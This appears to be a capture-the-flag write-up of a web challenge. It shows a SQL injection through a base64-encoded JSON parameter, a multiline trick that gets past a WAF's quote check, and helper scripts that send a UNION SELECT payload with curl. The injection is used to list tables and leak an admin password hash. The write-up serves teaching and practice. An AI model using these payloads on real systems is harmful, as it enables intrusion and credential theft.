For this challenge (category: Web, 32 solves), we have a news portal which accepts a GET parameter: object
.
Let’s try to set object = base64({})
which is in fact e30=
.
It looks like the data
field is required. I suppose it is the name of the requested news. Let’s try a MySQL injection on this field: object = base64({"data": "test' or 'a' = 'a"})
.
It looks like we’re facing to a very secured way to prevent SQL injections: it seems that WAF checks if data contains any quote. In fact, not exactly: it checks if the JSON string representing my object contains any quote.
No need to escape any character: I found that it only checks the first line of the string.
Ok, so now let’s write some scripts to make this easier and faster.
Here is encode.py
:
#!/usr/bin/python3
import base64
import sys
print(base64.urlsafe_b64encode(sys.argv[1].encode('ascii')).decode('ascii'))
Here is encode.sh
:
#!/bin/sh
./encode.py "$(cat object.json)"
And here is run.sh
:
#!/bin/sh
curl 'http://167.99.12.110/?object='"$(./encode.sh)"
Here is an example of object.json
:
{
"id": 0,
"data": "yes' or 'a' = 'a' UNION SELECT 1, table_name FROM information_schema.tables WHERE 'a' = 'a"
}
Using requests like that, we can leak the database: access_logs(id, log)
, credentials(id, username, password, role)
, and news(...)
. Futhermore, we can leak admin credentials: valid_user:5f4dcc3b5aa765d61d8327deb882cf99:administrator
.
The access_logs
table gives us the login URL: [22/Apr/2018:15:40:23 +0430] "GET /?action=log-in HTTP/1.1" 200 681 "-" ...
. No login panel at this URL, but errors gives us hints about the input format for credentials: /?action=log-in&credentials[]=valid_user&credentials[]=5f4dcc3b5aa765d61d8327deb882cf99
.